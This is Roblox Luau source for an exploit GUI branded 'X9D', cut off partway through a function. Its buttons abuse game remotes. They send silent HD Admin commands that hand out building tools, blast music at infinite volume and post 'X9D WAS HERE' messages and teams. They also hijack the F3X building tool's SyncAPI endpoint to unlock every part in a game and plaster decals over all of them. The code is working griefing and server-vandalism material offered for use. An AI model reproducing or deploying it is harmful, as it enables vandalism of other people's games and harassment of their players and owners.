-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3f"] = Instance.new("TextButton", G2L["6"]);
G2L["3f"]["TextWrapped"] = true;
G2L["3f"]["BorderSizePixel"] = 5;
G2L["3f"]["TextSize"] = 36;
G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3f"]["Size"] = UDim2.new(0, 105, 0, 33);
G2L["3f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3f"]["Text"] = [[title all]];
G2L["3f"]["Position"] = UDim2.new(0.39636, 0, 0.38183, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["40"] = Instance.new("LocalScript", G2L["3f"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel
G2L["41"] = Instance.new("TextLabel", G2L["6"]);
G2L["41"]["BorderSizePixel"] = 5;
G2L["41"]["TextSize"] = 35;
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["41"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["Size"] = UDim2.new(0, 386, 0, 58);
G2L["41"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["41"]["Text"] = [[musics]];
G2L["41"]["Position"] = UDim2.new(0.11954, 0, 0.41347, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["42"] = Instance.new("TextButton", G2L["41"]);
G2L["42"]["TextWrapped"] = true;
G2L["42"]["BorderSizePixel"] = 5;
G2L["42"]["TextSize"] = 36;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["Size"] = UDim2.new(0, 176, 0, 33);
G2L["42"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["42"]["Text"] = [[fak all flippers]];
G2L["42"]["Position"] = UDim2.new(-0.12954, 0, 1.39907, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["43"] = Instance.new("LocalScript", G2L["42"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["44"] = Instance.new("TextButton", G2L["41"]);
G2L["44"]["TextWrapped"] = true;
G2L["44"]["BorderSizePixel"] = 5;
G2L["44"]["TextSize"] = 36;
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["Size"] = UDim2.new(0, 105, 0, 33);
G2L["44"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["44"]["Text"] = [[wonga]];
G2L["44"]["Position"] = UDim2.new(0.37564, 0, 1.39907, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["45"] = Instance.new("LocalScript", G2L["44"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["46"] = Instance.new("TextButton", G2L["41"]);
G2L["46"]["TextWrapped"] = true;
G2L["46"]["BorderSizePixel"] = 5;
G2L["46"]["TextSize"] = 36;
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["Size"] = UDim2.new(0, 156, 0, 33);
G2L["46"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["46"]["Text"] = [[erika phonk]];
G2L["46"]["Position"] = UDim2.new(0.6917, 0, 1.39907, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["47"] = Instance.new("LocalScript", G2L["46"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["48"] = Instance.new("TextButton", G2L["41"]);
G2L["48"]["TextWrapped"] = true;
G2L["48"]["BorderSizePixel"] = 5;
G2L["48"]["TextSize"] = 36;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["48"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["48"]["Text"] = [[bodypartz]];
G2L["48"]["Position"] = UDim2.new(-0.13213, 0, 2.26114, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["49"] = Instance.new("LocalScript", G2L["48"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["4a"] = Instance.new("TextButton", G2L["41"]);
G2L["4a"]["TextWrapped"] = true;
G2L["4a"]["BorderSizePixel"] = 5;
G2L["4a"]["TextSize"] = 36;
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4a"]["Text"] = [[c00lkidd]];
G2L["4a"]["Position"] = UDim2.new(0.25647, 0, 2.26114, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["4b"] = Instance.new("LocalScript", G2L["4a"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["4c"] = Instance.new("TextButton", G2L["41"]);
G2L["4c"]["TextWrapped"] = true;
G2L["4c"]["BorderSizePixel"] = 5;
G2L["4c"]["TextSize"] = 36;
G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4c"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4c"]["Text"] = [[Gothic]];
G2L["4c"]["Position"] = UDim2.new(0.64766, 0, 2.26114, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["4d"] = Instance.new("LocalScript", G2L["4c"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["4e"] = Instance.new("TextButton", G2L["4"]);
G2L["4e"]["TextWrapped"] = true;
G2L["4e"]["BorderSizePixel"] = 5;
G2L["4e"]["TextSize"] = 14;
G2L["4e"]["TextScaled"] = true;
G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4e"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["4e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4e"]["Text"] = [[ro xploit f3x]];
G2L["4e"]["Rotation"] = -8;
G2L["4e"]["Position"] = UDim2.new(1.01918, 0, 0.09187, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["4f"] = Instance.new("LocalScript", G2L["4e"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["50"] = Instance.new("TextButton", G2L["4"]);
G2L["50"]["TextWrapped"] = true;
G2L["50"]["BorderSizePixel"] = 5;
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextScaled"] = true;
G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["50"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["50"]["Text"] = [[f3x ruiner]];
G2L["50"]["Rotation"] = -8;
G2L["50"]["Position"] = UDim2.new(1.04357, 0, 0.2319, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["51"] = Instance.new("LocalScript", G2L["50"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["52"] = Instance.new("TextButton", G2L["4"]);
G2L["52"]["TextWrapped"] = true;
G2L["52"]["BorderSizePixel"] = 5;
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextScaled"] = true;
G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["52"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["52"]["Text"] = [[mesh crash]];
G2L["52"]["Rotation"] = -8;
G2L["52"]["Position"] = UDim2.new(1.07546, 0, 0.39306, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["53"] = Instance.new("LocalScript", G2L["52"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["54"] = Instance.new("TextButton", G2L["4"]);
G2L["54"]["TextWrapped"] = true;
G2L["54"]["BorderSizePixel"] = 5;
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextScaled"] = true;
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["54"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["54"]["Text"] = [[f y d map]];
G2L["54"]["Rotation"] = -8;
G2L["54"]["Position"] = UDim2.new(1.07546, 0, 0.58593, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["55"] = Instance.new("LocalScript", G2L["54"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["56"] = Instance.new("TextButton", G2L["4"]);
G2L["56"]["TextWrapped"] = true;
G2L["56"]["BorderSizePixel"] = 5;
G2L["56"]["TextSize"] = 14;
G2L["56"]["TextScaled"] = true;
G2L["56"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["56"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["56"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["56"]["Text"] = [[Project Ligma F3X]];
G2L["56"]["Rotation"] = 17;
G2L["56"]["Position"] = UDim2.new(-0.41234, 0, 0.07602, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["57"] = Instance.new("LocalScript", G2L["56"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["58"] = Instance.new("TextButton", G2L["4"]);
G2L["58"]["TextWrapped"] = true;
G2L["58"]["BorderSizePixel"] = 5;
G2L["58"]["TextSize"] = 14;
G2L["58"]["TextScaled"] = true;
G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["58"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["58"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["58"]["Text"] = [[Project Moonlight]];
G2L["58"]["Rotation"] = 17;
G2L["58"]["Position"] = UDim2.new(-0.44799, 0, 0.2134, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["59"] = Instance.new("LocalScript", G2L["58"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5a"] = Instance.new("TextButton", G2L["4"]);
G2L["5a"]["TextWrapped"] = true;
G2L["5a"]["BorderSizePixel"] = 5;
G2L["5a"]["TextSize"] = 14;
G2L["5a"]["TextScaled"] = true;
G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5a"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5a"]["Text"] = [[Polaria f3x]];
G2L["5a"]["Rotation"] = 17;
G2L["5a"]["Position"] = UDim2.new(-0.47613, 0, 0.38249, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5b"] = Instance.new("LocalScript", G2L["5a"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5c"] = Instance.new("TextButton", G2L["4"]);
G2L["5c"]["TextWrapped"] = true;
G2L["5c"]["BorderSizePixel"] = 5;
G2L["5c"]["TextSize"] = 14;
G2L["5c"]["TextScaled"] = true;
G2L["5c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5c"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5c"]["Text"] = [[f3x hub with c00lguis by b2s new and old]];
G2L["5c"]["Rotation"] = 17;
G2L["5c"]["Position"] = UDim2.new(-0.49865, 0, 0.55422, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5d"] = Instance.new("LocalScript", G2L["5c"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5e"] = Instance.new("TextButton", G2L["4"]);
G2L["5e"]["TextWrapped"] = true;
G2L["5e"]["BorderSizePixel"] = 5;
G2L["5e"]["TextSize"] = 36;
G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5e"]["Size"] = UDim2.new(0, 147, 0, 58);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5e"]["Text"] = [[R6]];
G2L["5e"]["Position"] = UDim2.new(0.72274, 0, -0.0006, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5f"] = Instance.new("LocalScript", G2L["5e"]);



-- StarterGui.ScreenGui.ImageLabel.LocalScript
local function C_3()
local script = G2L["3"];
	--// Services
	local Players = game:GetService('Players')
	local UIS = game:GetService("UserInputService")
	
	--// Variables
	local UI = script.Parent
	
	local Player = Players.LocalPlayer
	local Mouse = Player:GetMouse()
	
	local Hovered = false
	local Holding = false
	local MoveCon = nil
	
	local InitialX, InitialY, UIInitialPos
	
	--// Functions
	
	local function Drag()
		if Holding == false then MoveCon:Disconnect(); return end
		local distanceMovedX = InitialX - Mouse.X
		local distanceMovedY = InitialY - Mouse.Y
	
		UI.Position = UIInitialPos - UDim2.new(0, distanceMovedX, 0, distanceMovedY)
	end
	
	--// Connections
	
	UI.MouseEnter:Connect(function()
		Hovered = true
	end)
	
	UI.MouseLeave:Connect(function()
		Hovered = false
	end)
	
	UIS.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			Holding = Hovered
			if Holding then
				InitialX, InitialY = Mouse.X, Mouse.Y
				UIInitialPos = UI.Position
	
				MoveCon = Mouse.Move:Connect(Drag)
			end
		end
	end)
	
	UIS.InputEnded:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			Holding = false
		end
	end)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";btools ;BuildingTools")
	end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf")
	end)
end;
task.spawn(C_a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";h You Are Now In The World Of X9D.")
	end)
end;
task.spawn(C_c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";serverMessage You Are Now In The World Of X9D.")
	end)
end;
task.spawn(C_e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";createteam red X9D WAS HERE")
		RequestCommand:InvokeServer(";createteam blue X9D WAS HERE2")
		RequestCommand:InvokeServer(";createteam green X9D WAS HERE3")
		RequestCommand:InvokeServer(";createteam purple X9D WAS HERE4")
	end)
end;
task.spawn(C_10);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("93092188749697")
	end)
end;
task.spawn(C_12);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
